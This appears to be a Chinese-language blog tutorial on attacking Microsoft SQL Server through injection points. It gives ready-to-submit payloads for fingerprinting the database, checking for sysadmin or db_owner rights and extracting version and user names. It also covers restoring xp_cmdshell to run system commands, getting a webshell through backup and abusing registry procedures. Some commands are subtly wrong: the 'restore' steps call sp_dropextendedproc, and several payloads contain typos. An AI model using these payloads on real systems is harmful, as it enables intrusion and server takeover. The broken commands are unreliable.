msSQl注入点的基本检测
在进行MsSQL注入点攻击时,首先要对MsSQL注入点进行一下基本的注入检测,以确定后面的攻击实施方案。系统对象表。 保存当前数据库的对象,如约束、默认值、日志、规则、存储过程等
在sqlserver2005,sqlserver2008版本的数据库里,现在已经作为一个视图对象,在每一个数据库的系统视图中,都存在一个sys.sysobjects 视图对象。
sysobjects 重要字段解释:
sysObjects (
Name sysname, --object 名称
id int, --object id
xtype char(2), -- object 类型
type char(2), -- Object 类型(与xtype 似乎一模一样? 有点郁闷…)
uid smallint, -- object 所有者的ID
... --其他的字段不常用到。
)
注:需要解释的是 xtype 和type 是一模一样的,他的数据为:
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
FN = 标量函数
IF = 内嵌表函数
K = PRIMARY KEY 或 UNIQUE 约束
L = 日志
P = 存储过程
R = 规则
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
V = 视图
X = 扩展存储过程
AF = 聚合函数 (CLR)
FS = 程序集 (CLR) 标量函数
FT = 程序集 (CLR) 表值函数
IF = 内联表函数
IT = 内部表
PC = 程序集 (CLR) 存储过程
PK = PRIMARY KEY 约束(type 为 K)
SN = 同义词
SQ = 服务队列
TA = 程序集 (CLR) DML 触发器
TT = 表类型
UQ = UNIQUE 约束(type 为 K)
该表中包含该数据库中的所有对象,如有那些表 存储过程 视图 等信息
2.1.2 注入点类型的判断
首先,判断是否是MsSQL注入点,可提交如下查询.
and exists (select* from sysobjects)
页面返回正常,则说明为MsSQL注入点。
2.1.3 注入点权限判断
再检测一下当前用户的数据库操作权限,提交如下查询
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
and 1=(select is_srvrolemember('db_owner'))
and 1=(select is_srvrolemember('public'))
如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。
sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。
如果页面返回出错,则说明不具备sa权限,可用另外两条语句判断其权限。如果权限不足,可通过注入点猜解数据库内容获得管理员账号。
DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。
.1.4 MsSQL返回信息判断
再提交如下查询。
and @@version>0
从页面返回的错误信息中,可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union
select联合查询或盲注入攻击方法。
此外,还可以进行如下查询检测,以获得更多的关于MsSQL注入点的信息。
;declare @d int //判断MsSQL支持多行语句查询
and (select count (1) from [sysobjects])>=0 //是否支持子查询
and user>O //获取当前数据库用户名
and db_name>0 //获取当前数据库名称
and l=convert (int,db_name ()) 或1=(select db_name ()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(Select HAS_DBACCESS ('master')) //判断是否有库读取权限
用MsSQL扩展存储注入攻击
扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的
Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。
检测与恢复扩展存储
提交如下查询进行检测。
and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
可查看xp_cmdshell扩展存储过程是否被删除。
and 1=(Select count(*) FROM master. dbo.sysobjects Where name = 'xp_regread')
可查看xp_regread扩展存储过程是否被删除。
如果扩展存储被删除,可执行如下查询进行恢复。
;exec sp_dropextendedproc 'xp_cmdshell'
上面这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。
;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’
该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell
如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句。
;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’
攻击中最常利用的扩展存储
在SQL注入攻击过程中,最常利用到的扩展存储有如下几个。
xp_cmdshell—利用此存储过程可以直接执行系统命令。
xp_regread—利用此存储过程可以进行注册表读取。
xp_regwrit一利用此存储过程可以写入注册表。
xp_dirtre一利用此存储过程可以进行列目录操作。
xp_enumds—利用此存储过程可以进行ODBC连接。
xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。
xp_makecab一一利用此存储过程可以创建压缩卷。
xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。
xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.
结合上面的这些扩展存储,通过提交精心构造的查询语句,可利用扩展存储的强大功能进行攻击。
网友评论